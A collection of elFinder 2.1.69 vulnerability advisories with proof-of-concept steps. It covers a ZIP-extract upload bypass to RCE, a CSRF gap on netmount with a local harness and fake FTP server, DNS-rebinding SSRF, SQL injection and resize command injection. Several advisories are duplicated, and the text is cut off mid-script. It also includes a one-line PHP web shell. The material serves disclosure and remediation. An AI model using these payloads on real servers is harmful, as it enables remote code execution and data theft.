• elFinder 2.1.69 deployed under Apache/Nginx (PHP-FPM or mod_php)
• Connector configured with uploadDeny = ['text/x-php'] and uploadAllow including application/zip
• files/ directory served under a public web path

Step 1 — Confirm direct upload is blocked Open elFinder in a browser and click the Upload button.
Select hello.phtml (content: <?php phpinfo(); ?>).
→ Upload is rejected with: "Upload file hello.phtml: File type not allowed (text/x-php)"

Step 2 — Upload a ZIP containing the payload Create bypass.zip containing hello.phtml.
Upload bypass.zip via the Upload button.
→ ZIP is accepted (MIME: application/zip ∈ uploadAllow).

Step 3 — Extract the ZIP Right-click bypass.zip in the file list → Extract files.
→ hello.phtml appears in the file list without any error.
→ File is now present at {files_dir}/hello.phtml on the server.

Step 4 — Execute the extracted PHP file

Navigate to:

http://<target>/elFinder/files/hello.phtml

→ Apache processes the file as PHP and renders the full phpinfo() output, confirming Remote Code Execution.

Impact

Any user with ZIP upload permission can bypass the uploadDeny MIME restriction, place PHP-executable files in a web-accessible directory, and achieve Remote Code Execution on the server.

Concrete impact:

• Arbitrary PHP code execution on the web server
• Full server environment disclosure via phpinfo() (paths, PHP version, loaded modules, environment variables)
• Potential access to server filesystem, database credentials, and internal network services
• Complete compromise of the web application if an attacker substitutes phpinfo() with a web shell (e.g., <?php system($_GET['cmd']); ?>)

Extensions confirmed executable on Apache (default config): phtml, phar, php5, php3

Recommended fix:

Apply mimeTypeNormalize() inside checkExtractItems() so that the full MIME pipeline is used consistently:

// elFinderVolumeDriver.class.php, line 7110
// Before (vulnerable):
$mimeByName = elFinderVolumeDriver::mimetypeInternalDetect($name)

// After (fixed):
$mimeByName = $this->mimeTypeNormalize(
    elFinderVolumeDriver::mimetypeInternalDetect($name),
    $name,
    pathinfo($name, PATHINFO_EXTENSION)
)

Summary

The PHP connector's CSRF gate protects many mutating commands, but it does not protect the netmount connector command. In the shipped minimal connector setup, FTP network mounting is enabled by default, so a cross-site request can force an elFinder instance to mount an attacker-chosen FTP endpoint in the victim's session and cause the server to initiate an outbound FTP connection without the X-elFinder-CSRF token that other state-changing commands require.

This was confirmed locally against Studio-42/elFinder at commit ec5f811dc321a053085b994966f553eaaab58721, corresponding to the repository's documented stable release 2.1.69 / API revision 2.1.69.

Details

The connector has an explicit allowlist of commands that require CSRF validation in php/elFinderConnector.class.php:79-92. That list includes state-changing commands such as mkdir, mkfile, paste, put, rename, rm, upload, archive, extract, resize, and chmod, but it omits netmount. The enforcement point in php/elFinderConnector.class.php:376-381 calls validateCsrfToken() only when the command appears in that list.

netmount is a first-class connector command declared in php/elFinder.class.php:248-278, specifically php/elFinder.class.php:263, with attacker-controlled protocol, host, path, port, user, pass, alias, and options arguments. Its implementation in php/elFinder.class.php:1560-1660 resolves the requested network driver, copies request arguments into a volume options array, calls the driver's netmountPrepare(), mounts the volume online, and persists successful network volume options in the session with saveNetVolumes() at php/elFinder.class.php:1642-1649.

The documented minimal installation path tells users to rename /php/connector.minimal.php-dist and load elFinder (README.md:105-120). That shipped minimal connector explicitly enables FTP network mounts at php/connector.minimal.php-dist:42-43:

// // Enable FTP connector netmount
elFinder::$netDrivers['ftp'] = 'FTP';

The FTP driver then uses request-controlled connection parameters. php/elFinderVolumeFTP.class.php:164-215 initializes the host, port, user, password, path, and netmount key, and php/elFinderVolumeFTP.class.php:264-327 calls ftp_connect() / ftp_ssl_connect(), ftp_login(), ftp_raw(), ftp_chdir(), ftp_pwd(), ftp_pasv(), FEAT, and MLST against the supplied endpoint. The local proof showed those FTP commands reaching a fake local FTP server.

False-positive checks performed:

• mkdir without the CSRF header was rejected with HTTP 403 and csrfReload:true, proving the harness exercised the connector's CSRF gate.
• netmount without the same CSRF header succeeded with HTTP 200 and an added network-volume response.
• The fake FTP server observed an inbound connection and FTP command sequence from the PHP process.
• No custom application authentication, external service, public infrastructure, or destructive action was used.
• Sibling netmount drivers were reviewed; FTP is the relevant default/common exposure because the minimal connector enables it, while SFTP/cloud drivers require extra configuration or credentials.

Candidate score: 16/18 under the audit rubric. Reachability 2, attacker control 2, privilege required 2, sink impact 2, mitigation weakness 2, default exposure 2, safe reproduction 2, static certainty 2, false-positive resistance 2. The exploitability gate is satisfied for this issue as a confirmed CSRF/state-change and server-side FTP connection primitive in the shipped minimal connector configuration.

PoC

The following safe local reproduction uses only a disposable connector under /tmp, the repository's PHP classes, PHP's built-in local web server, and a fake FTP listener bound to 127.0.0.1. It does not contact external systems.

1. From a clean checkout of Studio-42/elFinder at commit ec5f811dc321a053085b994966f553eaaab58721, create a disposable harness:

mkdir -p /tmp/elfinder-csrf-poc-claude/www/files/.trash/.tmb /tmp/elfinder-csrf-poc-claude/logs
cat > /tmp/elfinder-csrf-poc-claude/www/connector.php <<'PHP'
<?php
error_reporting(E_ALL);
require '/path/to/elFinder/php/autoload.php';

elFinder::$netDrivers['ftp'] = 'FTP';

function access($attr, $path, $data, $volume, $isDir, $relpath) {
    $basename = basename($path);
    return $basename[0] === '.' && strlen($relpath) !== 1
        ? !($attr == 'read' || $attr == 'write')
        : null;
}

$opts = array(
    'roots' => array(
        array(
            'driver' => 'LocalFileSystem',
            'path' => __DIR__ . '/files/',
            'URL' => '/files/',
            'trashHash' => 't1_Lw',
            'uploadDeny' => array('all'),
            'uploadAllow' => array('text/plain'),
            'uploadOrder' => array('deny', 'allow'),
            'accessControl' => 'access'
        ),
        array(
            'id' => '1',
            'driver' => 'Trash',
            'path' => __DIR__ . '/files/.trash/',
            'tmbURL' => '/files/.trash/.tmb/',
            'uploadDeny' => array('all'),
            'uploadAllow' => array('text/plain'),
            'uploadOrder' => array('deny', 'allow'),
            'accessControl' => 'access'
        ),
    )
);

$connector = new elFinderConnector(new elFinder($opts));
$connector->run();
PHP

2. Start this minimal fake FTP server as /tmp/elfinder-csrf-poc-claude/fake_ftp.py:

#!/usr/bin/env python3
import socket, sys
HOST = '127.0.0.1'
PORT = int(sys.argv[1])
LOG = sys.argv[2]
def log(line):
    with open(LOG, 'a', encoding='utf-8') as f:
        f.write(line + '\n')
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
    s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
    s.bind((HOST, PORT))
    s.listen(5)
    log(f'LISTEN {HOST}:{PORT}')
    while True:
        conn, addr = s.accept()
        with conn:
            log(f'CONNECT {addr[0]}:{addr[1]}')
            conn.sendall(b'220 fake ftp ready\r\n')
            while True:
                data = b''
                while not data.endswith(b'\n'):
                    chunk = conn.recv(1)
                    if not chunk:
                        log('CLOSE')
                        break
                    data += chunk
                if not data:
                    break
                line = data.decode('latin-1', errors='replace').strip()
                log('CMD ' + line)
                cmd = line.split(' ', 1)[0].upper()
                if cmd == 'USER': conn.sendall(b'331 password required\r\n')
                elif cmd == 'PASS': conn.sendall(b'230 login ok\r\n')
                elif cmd.startswith('OPTS'): conn.sendall(b'200 ok\r\n')
                elif cmd == 'HELP': conn.sendall(b'214 fake help\r\n')
                elif cmd == 'CWD': conn.sendall(b'250 cwd ok\r\n')
                elif cmd == 'PWD': conn.sendall(b'257 "/"\r\n')
                elif cmd == 'FEAT': conn.sendall(b'211-Features\r\n MLST type*;size*;modify*;perm*;\r\n211 End\r\n')
                elif cmd == 'MLST': conn.sendall(b'250-Listing /\r\n type=dir;size=0;modify=20260101000000;perm=el; /\r\n250 End\r\n')
                elif cmd == 'PASV': conn.sendall(b'502 passive unavailable\r\n')
                elif cmd == 'QUIT':
                    conn.sendall(b'221 bye\r\n')
                    break
                else: conn.sendall(b'200 ok\r\n')

3. Start the local services:

php -S 127.0.0.1:8765 -t /tmp/elfinder-csrf-poc-claude/www
python3 /tmp/elfinder-csrf-poc-claude/fake_ftp.py 21210 /tmp/elfinder-csrf-poc-claude/logs/ftp.log

4. In another shell, run this control-and-positive test. It intentionally omits X-elFinder-CSRF from both the protected mkdir control request and the netmount request:

import json, urllib.parse, urllib.request, urllib.error, http.cookiejar
base = 'http://127.0.0.1:8765/connector.php'
log = '/tmp/elfinder-csrf-poc-claude/logs/ftp.log'
open(log, 'w', encoding='utf-8').close()
cj = http.cookiejar.CookieJar()
opener = urllib.request.build_opener(urllib.request.HTTPCookieProcessor(cj))
def request(params, timeout=12):
    url = base + '?' + urllib.parse.urlencode(params)
    try:
        with opener.open(url, timeout=timeout) as resp:
            return resp.status, resp.read().decode('utf-8', errors='replace')
    except urllib.error.HTTPError as e:
        return e.code, e.read().decode('utf-8', errors='replace')
status, body = request({'cmd':'open','init':'1','target':'l1_Lw'})
opened = json.loads(body)
target = opened.get('cwd', {}).get('hash', 'l1_Lw')
print('OPEN_STATUS=' + str(status))
print('OPEN_HAS_CSRF=' + str('"csrf"' in body))
status, body = request({'cmd':'mkdir','target':target,'name':'csrf-control-no-header'})
print('CONTROL_MKDIR_WITHOUT_CSRF_STATUS=' + str(status))
print('CONTROL_MKDIR_WITHOUT_CSRF_BODY=' + body.replace('\n', ' ')[:160])
status, body = request({'cmd':'netmount','protocol':'ftp','host':'127.0.0.1','port':'21210','path':'/','user':'anonymous','pass':''})
print('NETMOUNT_WITHOUT_CSRF_STATUS=' + str(status))
print('NETMOUNT_WITHOUT_CSRF_HAS_ADDED=' + str('"added"' in body))
print('NETMOUNT_WITHOUT_CSRF_BODY=' + body.replace('\n', ' ')[:260])
print('FTP_LOG=')
print(open(log, encoding='utf-8', errors='replace').read().strip())

Observed output from the final local re-run in this environment:

OPEN_STATUS=200
OPEN_HAS_CSRF=True
CONTROL_MKDIR_WITHOUT_CSRF_STATUS=403
CONTROL_MKDIR_WITHOUT_CSRF_BODY={"error":["errPerm","Invalid request. Please reload."],"csrfReload":true}
NETMOUNT_WITHOUT_CSRF_STATUS=200
NETMOUNT_WITHOUT_CSRF_HAS_ADDED=True
NETMOUNT_WITHOUT_CSRF_BODY={"added":[{"mime":"directory","size":0,"ts":1767225600,"read":1,"write":0,"locked":1,"hash":"fnm1_Lw","name":"anonymous@127.0.0.1","rootRev":"","options":{"path":"","url":"","tmbUrl":"self","disabled":[],"separator":"\/","copyOverwrite":1,"uploadOverwrite":1,
FTP_LOG=
CONNECT 127.0.0.1:37496
CMD USER anonymous
CMD PASS
CMD OPTS UTF8 ON
CMD HELP
CMD epsv4 off
CMD PASV
CMD CWD /
CMD PWD
CMD FEAT
CMD MLST /
CLOSE

The negative/control case is the mkdir request: without X-elFinder-CSRF, it returns HTTP 403 and csrfReload:true. The positive case is netmount: without X-elFinder-CSRF, it returns HTTP 200 with added and the fake FTP server logs the server-side FTP connection.

Cleanup:

# Stop the two local server processes, then remove the disposable harness.
rm -rf /tmp/elfinder-csrf-poc-claude

Impact

An attacker who can cause a victim browser to request the connector can bypass the intended CSRF protection for netmount. In the shipped minimal connector configuration, this lets the attacker:

• force the victim's elFinder session to persist an attacker-chosen FTP network volume;
• cause the PHP server to initiate an outbound FTP connection to an attacker-chosen host and port;
• send attacker-supplied FTP username/password values to that endpoint; and
• expose the victim's later file-manager UI to the mounted remote volume.

The proof demonstrates a security boundary mismatch: the same connector rejects another mutating command without the CSRF header but accepts netmount without it. The observed server-side FTP command sequence confirms that the request reaches the network sink, not just a harmless JSON code path.

The impact is bounded by deployment and browser behavior. In a deployment with no surrounding authentication, direct callers may be able to use the connector normally; in the common authenticated-file-manager deployment model, the missing netmount CSRF check lets a cross-site attacker perform this state-changing/server-side network action in the victim's authenticated session.

Suggested remediation

Require CSRF validation for netmount, including protocol=netunmount, before executing the command. The minimal fix is to add netmount to elFinderConnector::$csrfProtectedCmds in php/elFinderConnector.class.php.

Also consider adding defense-in-depth validation for network mount destinations, especially FTP/SFTP hostnames and IPs, because the current FTP netmount path accepts local/private/link-local addresses unlike URL upload validation. If local/private network mounts are intentionally supported, expose that as an explicit opt-in connector configuration rather than the default sample behavior.

Suggested regression tests:

• A request to cmd=netmount&protocol=ftp&host=127.0.0.1&port=<local-port> without X-elFinder-CSRF must return HTTP 403 and must not connect to the FTP listener.
• The same request with the valid token from cmd=open&init=1 should preserve intended behavior for authorized users.
• protocol=netunmount should also reject missing/invalid CSRF tokens.

Credits

• Thai Son Dinh from VinSOC Labs (R&D)
• Nguyen Huy Vu Dung from VinSOC Labs (AppSec)

poc.zip

Summary

elFinder 2.1.69 is vulnerable to a Server-Side Request Forgery (SSRF) protection bypass when PHP cURL is unavailable and URL uploads use the fsock_get_contents() fallback.

An attacker who can submit a URL for server-side upload can use an attacker-controlled DNS hostname that initially resolves to an allowed public IP address and subsequently resolves to a loopback or private IP address.

The URL validation checks the first resolved IP, but fsock_get_contents() opens the actual connection using the original hostname. This causes a second DNS resolution and allows the connection to reach an address different from the one that was validated.

The response from the internal service is saved as an uploaded file and can be read through elFinder. This makes the demonstrated issue a non-blind SSRF.

The most accurate classification is:

• Vulnerability: SSRF protection bypass
• Exploitation technique: DNS rebinding
• Root cause: TOCTOU/double DNS resolution without IP pinning

Affected versions

Confirmed affected:

• elFinder 2.1.69, commit 8f2c3ffafcdd52cf4515f1eec172f4eee44552ad
• the current master branch inspected on 24 July 2026

The earliest affected version has not been determined.

Preconditions

The demonstrated readback path requires:

• PHP without the cURL extension (curl_exec() unavailable);
• access to the URL upload functionality;
• permission to upload a MIME type returned by the target service;
• network connectivity from the PHP process to the internal target;
• DNS resolution behavior compatible with low or zero TTL responses.

Authentication requirements depend on the application integrating the elFinder connector. The attached reproduction connector is intentionally minimal and unauthenticated.

Technical details

validate_address() resolves the supplied hostname with gethostbyname(), rejects loopback and private ranges, and stores the accepted address in $info['ip']:

https://github.com/Studio-42/elFinder/blob/2.1.69/php/elFinder.class.php#L2587-L2655

get_remote_contents() then selects cURL when available, otherwise fsock_get_contents():

https://github.com/Studio-42/elFinder/blob/2.1.69/php/elFinder.class.php#L2673-L2689

The cURL implementation correctly pins the validated IP using CURLOPT_RESOLVE:

https://github.com/Studio-42/elFinder/blob/2.1.69/php/elFinder.class.php#L2709-L2736

However, the socket fallback ignores $info['ip'] and connects using $arr['host']:

$fp = fsockopen(
    $ssl . $arr['host'],
    $arr['port'],
    $errno,
    $errstr,
    $connect_timeout
);

Relevant code:

https://github.com/Studio-42/elFinder/blob/2.1.69/php/elFinder.class.php#L2762-L2866

Consequently, the address checked by validate_address() is not necessarily the address used by the socket connection.

The same problem is present after redirects: the redirect URL is validated, but the recursive socket request again connects using the hostname rather than the validated IP.

Proof of concept

A Docker-based reproduction is attached as poc.zip.

The laboratory:

• downloads the official elFinder 2.1.69 release during the build;
• verifies that the package version is 2.1.69;
• verifies that curl_exec() is unavailable;
• does not modify the elFinder core;
• runs a deterministic DNS server and an HTTP service bound only to loopback.

Build and run:

docker build -t elfinder-ssrf-repro poc
docker run --rm -p 127.0.0.1:8081:8081 elfinder-ssrf-repro

Open:

http://127.0.0.1:8081/poc/index.html

In the elFinder interface:

1. Select "Upload".
2. Paste the following URL:

http://rebind.test:9001/secret.txt

3. Wait for the upload to complete.
4. Open the resulting secret.txt file.

Observed content:

INTERNAL_SECRET_MANUAL

The PoC DNS server responds as follows:

first A resolution       -> 203.0.113.10
subsequent A resolutions -> 127.0.0.1

Expected logs include:

DNS rebind.test type=1 answer=203.0.113.10 count=1
DNS rebind.test type=1 answer=127.0.0.1 count=2
GET /secret.txt

203.0.113.10 is used only as a deterministic laboratory address that passes the current private-address checks. The actual connection reaches 127.0.0.1:9001.

A redirect variant is also included:

http://rebind.test:9001/redirect-secret

It produces the same readable internal content.

Security impact

An attacker may cause the elFinder server to issue HTTP GET requests to services reachable from the PHP process, including:

• loopback services;
• private network services;
• link-local services where reachable;
• internal administrative or application endpoints.

Because the response body is saved and exposed through elFinder, sensitive internal information may be disclosed.

The demonstrated primitive is limited to HTTP GET requests and does not provide arbitrary request methods, bodies, or headers. Integrity and availability impact would depend on the behavior of reachable internal endpoints and are not claimed by this PoC.

Suggested CVSS

For an exposed connector matching the attached PoC:

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N

Base score: 8.6 High.

This assumes:

• no authentication is required by the connector;
• the internal service represents a separate security scope;
• disclosure may include highly sensitive internal data.

If authenticated user access is considered an inherent prerequisite, PR:L would result in a score of 7.7 High.

Suggested remediation

The socket connection should use the IP address returned by validate_address() rather than resolving the hostname again.

For HTTPS, the original hostname should still be used for:

• the HTTP Host header;
• TLS SNI;
• certificate hostname validation.

This may require replacing fsockopen() with a connection mechanism that supports connecting to the validated IP while explicitly configuring the TLS peer name.

Every redirect destination should be independently validated and its validated IP pinned to that specific connection.

Revalidating the hostname immediately before connecting is not sufficient because it would still leave a validation-to-connection DNS resolution gap.

As a temporary mitigation, URL uploads could be rejected when cURL is unavailable, or deployments could configure urlUploadFilter to reject URL uploads.

Additional observation

After a successful URL fetch, the upload path calls:

get_headers($url, true)

Relevant code:

https://github.com/Studio-42/elFinder/blob/2.1.69/php/elFinder.class.php#L3356-L3374

This performs another request using the original hostname without reusing the validated and pinned connection. It may therefore introduce an additional blind SSRF request, potentially even when the cURL download path is selected.

This additional request is not required for the attached non-blind fsock_get_contents() PoC. It should nevertheless be reviewed during remediation. Ideally, filename and response-header information should be collected from the already validated HTTP response instead of issuing a separate request.

Disclosure

Initial private report date: 24/07/2026

Reporter contact: Marco Lunardi - marcolunardi90@gmail.com

Summary

An authenticated SQL injection vulnerability in the elFinder MySQL volume driver (elFinderVolumeMySQL) allows any logged-in user, including users with read-only access to the affected volume, to inject SQL through a crafted target file hash. Successful exploitation can lead to unauthorized data disclosure and denial of service.

This vulnerability only affects installations configured to use the MySQL volume driver. Installations using the default LocalFileSystem driver are not affected.

Description

A vulnerability in elFinder's MySQL volume driver (elFinderVolumeMySQL) allows authenticated SQL injection through a crafted file hash passed via the target parameter.

The issue is caused by two behaviors working together:

1. File hashes are decoded without validating that the decoded value is a valid MySQL object identifier.
2. The decoded value is then used in MySQL driver queries, including cacheDir(), _joinPath(), _stat(), and _fopen().

Because the MySQL storage schema uses numeric id and parent_id values, an authenticated user can supply a crafted hash that alters the intended SQL query logic. Successful exploitation can lead to unauthorized data disclosure and denial of service. The extent of impact depends on the privileges granted to the configured MySQL account.

This vulnerability only affects installations configured to use the MySQL volume driver. Installations using the default LocalFileSystem driver are not affected.

Impact

An authenticated user, including a user with read-only access to the affected volume, can exploit this issue to:

• disclose data accessible to the configured MySQL account, including file contents stored by the driver and database metadata
• trigger denial of service through expensive or unexpectedly broad query results that can lead to excessive memory consumption

The severity of data exposure depends on the privileges granted to the configured MySQL account.

Severity

High
bg can be injected into shell command construction, leading to possible RCE in affected configurations.

Summary

elFinder contains a command injection vulnerability in the resize command.

The bg (background color) parameter is accepted from user input and passed through image resize/rotate processing. In configurations that use the ImageMagick CLI backend, this value is incorporated into shell command strings without sufficient escaping. An attacker able to invoke the resize command with a crafted bg value may achieve arbitrary command execution as the web server process user.

This issue affects configurations where:

• the resize command is enabled,
• image processing uses the ImageMagick CLI backend, and
• the vulnerable code paths are reachable.

Impact

An attacker may execute arbitrary OS commands with the privileges of the web server process.

Impact depends on server configuration, enabled commands, backend image library selection, and surrounding deployment controls.

Affected versions

Affected: all versions before 2.1.66 Patched: 2.1.67

Details

The vulnerable flow is:

1. The resize command accepts the bg parameter from the request.
2. The parameter is passed into volume resize handling.
3. In ImageMagick CLI code paths, the value is interpolated into shell command strings.
4. Because the value is not safely constrained and escaped, shell metacharacters may be injected.

The issue was addressed by:

• validating bg against a strict allowlist of supported color formats, and
• safely escaping the value before it is passed into CLI command construction.

Workarounds

Possible mitigations for users who cannot upgrade immediately:

• disable the resize command if not required,
• avoid using the ImageMagick CLI backend for image processing,
• restrict access to trusted users only.

Upgrading to the patched release is strongly recommended.

Credits

Thanks to Lin, WeiChi and Drew Webber for the responsible disclosure.

Summary

elFinder provides uploadDeny and uploadAllow options in its connector configuration to restrict which MIME types may be uploaded. When uploadDeny includes text/x-php, direct upload of .php, .phtml, and .phar files is correctly blocked. However, the extract command (ZIP decompression) internally calls checkExtractItems(), which invokes mimetypeInternalDetect() directly without passing the result through mimeTypeNormalize(). Because phtml, phar, and similar PHP-executable extensions are absent from mime.types, they are not resolved to text/x-php at the detection stage, causing the MIME filter to be silently bypassed. An attacker who is permitted to upload ZIP archives can therefore extract PHP-executable files into the web-accessible files/ directory. If the server is configured to execute the affected extension (e.g., .phtml, .phar) as PHP — which is the case in common Apache and Nginx deployments — this results in Remote Code Execution.

Details

elFinder's MIME validation pipeline for direct uploads (upload command) is:

mimetype()
  └─ mimetypeInternalDetect()   // stage 1: extension → MIME via mime.types
  └─ mimeTypeNormalize()        // stage 2: apply staticMimeMap
       phtml:* → text/x-php
       phar:*  → text/x-php
       php5:*  → text/x-php
  └─ allowPutMime()             // blocked: text/x-php ∈ uploadDeny

The extract command (checkExtractItems() in elFinderVolumeDriver.class.php, line 7110) uses a shortened pipeline:

// line 7110 — stage 2 (mimeTypeNormalize) is never called
if ($chkMime
    && ($mimeByName = elFinderVolumeDriver::mimetypeInternalDetect($name))
    && !$this->allowPutMime($mimeByName)) {

Because phtml and phar are not present in mime.types, mimetypeInternalDetect() returns a generic type (e.g., application/octet-stream) for these extensions. Without mimeTypeNormalize(), the staticMimeMap entries that would map phtml:* → text/x-php are never applied, so allowPutMime() sees a non-blocked MIME and permits extraction.

Affected extensions confirmed: .phtml, .phar, .php5, .php3
Not bypassed: .php (present in mime.types, detected as text/x-php in stage 1)

PoC

Requirements:

• elFinder 2.1.69 deployed under Apache/Nginx (PHP-FPM or mod_php)
• Connector configured with uploadDeny = ['text/x-php'] and uploadAllow including application/zip
• files/ directory served under a public web path

Step 1 — Confirm direct upload is blocked Open elFinder in a browser and click the Upload button.
Select hello.phtml (content: <?php phpinfo(); ?>).
→ Upload is rejected with: "Upload file hello.phtml: File type not allowed (text/x-php)"

Step 2 — Upload a ZIP containing the payload Create bypass.zip containing hello.phtml.
Upload bypass.zip via the Upload button.
→ ZIP is accepted (MIME: application/zip ∈ uploadAllow).

Step 3 — Extract the ZIP Right-click bypass.zip in the file list → Extract files.
→ hello.phtml appears in the file list without any error.
→ File is now present at {files_dir}/hello.phtml on the server.

Step 4 — Execute the extracted PHP file

Navigate to:

http://<target>/elFinder/files/hello.phtml

→ Apache processes the file as PHP and renders the full phpinfo() output, confirming Remote Code Execution.

Impact

Any user with ZIP upload permission can bypass the uploadDeny MIME restriction, place PHP-executable files in a web-accessible directory, and achieve Remote Code Execution on the server.

Concrete impact:

• Arbitrary PHP code execution on the web server
• Full server environment disclosure via phpinfo() (paths, PHP version, loaded modules, environment variables)
• Potential access to server filesystem, database credentials, and internal network services
• Complete compromise of the web application if an attacker substitutes phpinfo() with a web shell (e.g., <?php system($_GET['cmd']); ?>)

Extensions confirmed executable on Apache (default config): phtml, phar, php5, php3

Recommended fix:

Apply mimeTypeNormalize() inside checkExtractItems() so that the full MIME pipeline is used consistently:

// elFinderVolumeDriver.class.php, line 7110
// Before (vulnerable):
$mimeByName = elFinderVolumeDriver::mimetypeInternalDetect($name)

// After (fixed):
$mimeByName = $this->mimeTypeNormalize(
    elFinderVolumeDriver::mimetypeInternalDetect($name),
    $name,
    pathinfo($name, PATHINFO_EXTENSION)
)

Summary

The PHP connector's CSRF gate protects many mutating commands, but it does not protect the netmount connector command. In the shipped minimal connector setup, FTP network mounting is enabled by default, so a cross-site request can force an elFinder instance to mount an attacker-chosen FTP endpoint in the victim's session and cause the server to initiate an outbound FTP connection without the X-elFinder-CSRF token that other state-changing commands require.

This was confirmed locally against Studio-42/elFinder at commit ec5f811dc321a053085b994966f553eaaab58721, corresponding to the repository's documented stable release 2.1.69 / API revision 2.1.69.

Details

The connector has an explicit allowlist of commands that require CSRF validation in php/elFinderConnector.class.php:79-92. That list includes state-changing commands such as mkdir, mkfile, paste, put, rename, rm, upload, archive, extract, resize, and chmod, but it omits netmount. The enforcement point in php/elFinderConnector.class.php:376-381 calls validateCsrfToken() only when the command appears in that list.

netmount is a first-class connector command declared in php/elFinder.class.php:248-278, specifically php/elFinder.class.php:263, with attacker-controlled protocol, host, path, port, user, pass, alias, and options arguments. Its implementation in php/elFinder.class.php:1560-1660 resolves the requested network driver, copies request arguments into a volume options array, calls the driver's netmountPrepare(), mounts the volume online, and persists successful network volume options in the session with saveNetVolumes() at php/elFinder.class.php:1642-1649.

The documented minimal installation path tells users to rename /php/connector.minimal.php-dist and load elFinder (README.md:105-120). That shipped minimal connector explicitly enables FTP network mounts at php/connector.minimal.php-dist:42-43:

// // Enable FTP connector netmount
elFinder::$netDrivers['ftp'] = 'FTP';

The FTP driver then uses request-controlled connection parameters. php/elFinderVolumeFTP.class.php:164-215 initializes the host, port, user, password, path, and netmount key, and php/elFinderVolumeFTP.class.php:264-327 calls ftp_connect() / ftp_ssl_connect(), ftp_login(), ftp_raw(), ftp_chdir(), ftp_pwd(), ftp_pasv(), FEAT, and MLST against the supplied endpoint. The local proof showed those FTP commands reaching a fake local FTP server.

False-positive checks performed:

• mkdir without the CSRF header was rejected with HTTP 403 and csrfReload:true, proving the harness exercised the connector's CSRF gate.
• netmount without the same CSRF header succeeded with HTTP 200 and an added network-volume response.
• The fake FTP server observed an inbound connection and FTP command sequence from the PHP process.
• No custom application authentication, external service, public infrastructure, or destructive action was used.
• Sibling netmount drivers were reviewed; FTP is the relevant default/common exposure because the minimal connector enables it, while SFTP/cloud drivers require extra configuration or credentials.

Candidate score: 16/18 under the audit rubric. Reachability 2, attacker control 2, privilege required 2, sink impact 2, mitigation weakness 2, default exposure 2, safe reproduction 2, static certainty 2, false-positive resistance 2. The exploitability gate is satisfied for this issue as a confirmed CSRF/state-change and server-side FTP connection primitive in the shipped minimal connector configuration.

PoC

The following safe local reproduction uses only a disposable connector under /tmp, the repository's PHP classes, PHP's built-in local web server, and a fake FTP listener bound to 127.0.0.1. It does not contact external systems.

1. From a clean checkout of Studio-42/elFinder at commit ec5f811dc321a053085b994966f553eaaab58721, create a disposable harness:

mkdir -p /tmp/elfinder-csrf-poc-claude/www/files/.trash/.tmb /tmp/elfinder-csrf-poc-claude/logs
cat > /tmp/elfinder-csrf-poc-claude/www/connector.php <<'PHP'
<?php
error_reporting(E_ALL);
require '/path/to/elFinder/php/autoload.php';

elFinder::$netDrivers['ftp'] = 'FTP';

function access($attr, $path, $data, $volume, $isDir, $relpath) {
    $basename = basename($path);
    return $basename[0] === '.' && strlen($relpath) !== 1
        ? !($attr == 'read' || $attr == 'write')
        : null;
}

$opts = array(
    'roots' => array(
        array(
            'driver' => 'LocalFileSystem',
            'path' => __DIR__ . '/files/',
            'URL' => '/files/',
            'trashHash' => 't1_Lw',
            'uploadDeny' => array('all'),
            'uploadAllow' => array('text/plain'),
            'uploadOrder' => array('deny', 'allow'),
            'accessControl' => 'access'
        ),
        array(
            'id' => '1',
            'driver' => 'Trash',
            'path' => __DIR__ . '/files/.trash/',
            'tmbURL' => '/files/.trash/.tmb/',
            'uploadDeny' => array('all'),
            'uploadAllow' => array('text/plain'),
            'uploadOrder' => array('deny', 'allow'),
            'accessControl' => 'access'
        ),
    )
);

$connector = new elFinderConnector(new elFinder($opts));
$connector->run();
PHP

2. Start this minimal fake FTP server as /tmp/elfinder-csrf-poc-claude/fake_ftp.py:

#!/usr/bin/env python3
import socket, sys
HOST = '127.0.0.1'
PORT = int(sys.argv[1])
LOG = sys.argv[2]
def log(line):
    with open(LOG, 'a', encoding='utf-8') as f:
        f.write(line + '\n')
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
    s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
    s.bind((HOST, PORT))
    s.listen(5)
    log(f'LISTEN {HOST}:{PORT}')
    while True:
        conn, addr = s.accept()
        with conn:
            log(f'CONNECT {addr[0]}:{addr[1]}')
            conn.sendall(b'220 fake ftp ready\r\n')
            while True:
                data = b''
                while not data.endswith(b'\n'):
                    chunk = conn.recv(1)
                    if not chunk:
                        log('CLOSE')
                        break
                    data += chunk
                if not data:
                    break
                line = data.decode('latin-1', errors='replace').strip()
                log('CMD ' + line)
                cmd = line.split(' ', 1)[0].upper()
                if cmd == 'USER': conn.sendall(b'331 password required\r\n')
                elif cmd == 'PASS': conn.sendall(b'230 login ok\r\n')
                elif cmd.startswith('OPTS'): conn.sendall(b'200 ok\r\n')
                elif cmd == 'HELP': conn.sendall(b'214 fake help\r\n')
                elif cmd == 'CWD': conn.sendall(b'250 cwd ok\r\n')
                elif cmd == 'PWD': conn.sendall(b'257 "/"\r\n')
                elif cmd == 'FEAT': conn.sendall(b'211-Features\r\n MLST type*;size*;modify*;perm*;\r\n211 End\r\n')
                elif cmd == 'MLST': conn.sendall(b'250-Listing /\r\n type=dir;size=0;modify=20260101000000;perm=el; /\r\n250 End\r\n')
                elif cmd == 'PASV': conn.sendall(b'502 passive unavailable\r\n')
                elif cmd == 'QUIT':
                    conn.sendall(b'221 bye\r\n')
                    break
                else: conn.sendall(b'200 ok\r\n')

3. Start the local services:

php -S 127.0.0.1:8765 -t /tmp/elfinder-csrf-poc-claude/www
python3 /tmp/elfinder-csrf-poc-claude/fake_ftp.py 21210 /tmp/elfinder-csrf-poc-claude/logs/ftp.log

4. In another shell, run this control-and-positive test. It intentionally omits X-elFinder-CSRF from both the protected mkdir control request and the netmount request:

import json, urllib.parse, urllib.request, urllib.error, http.cookiejar
base = 'http://127.0.0.1:8765/connector.php'
log = '/tmp/elfinder-csrf-poc-claude/logs/ftp.log'
open(log, 'w', encoding='utf-8').close()
cj = http.cookiejar.CookieJar()
opener = urllib.request.build_opener(urllib.request.HTTPCookieProcessor(cj))
def request(params, timeout=12):
    url = base + '?' + urllib.parse.urlencode(params)
    try:
        with opener.open(url, timeout=timeout) as resp:
            return resp.status, resp.read().decode('utf-8', errors='replace')
    except urllib.error.HTTPError as e:
        return e.code, e.read().decode('utf-8', errors='replace')
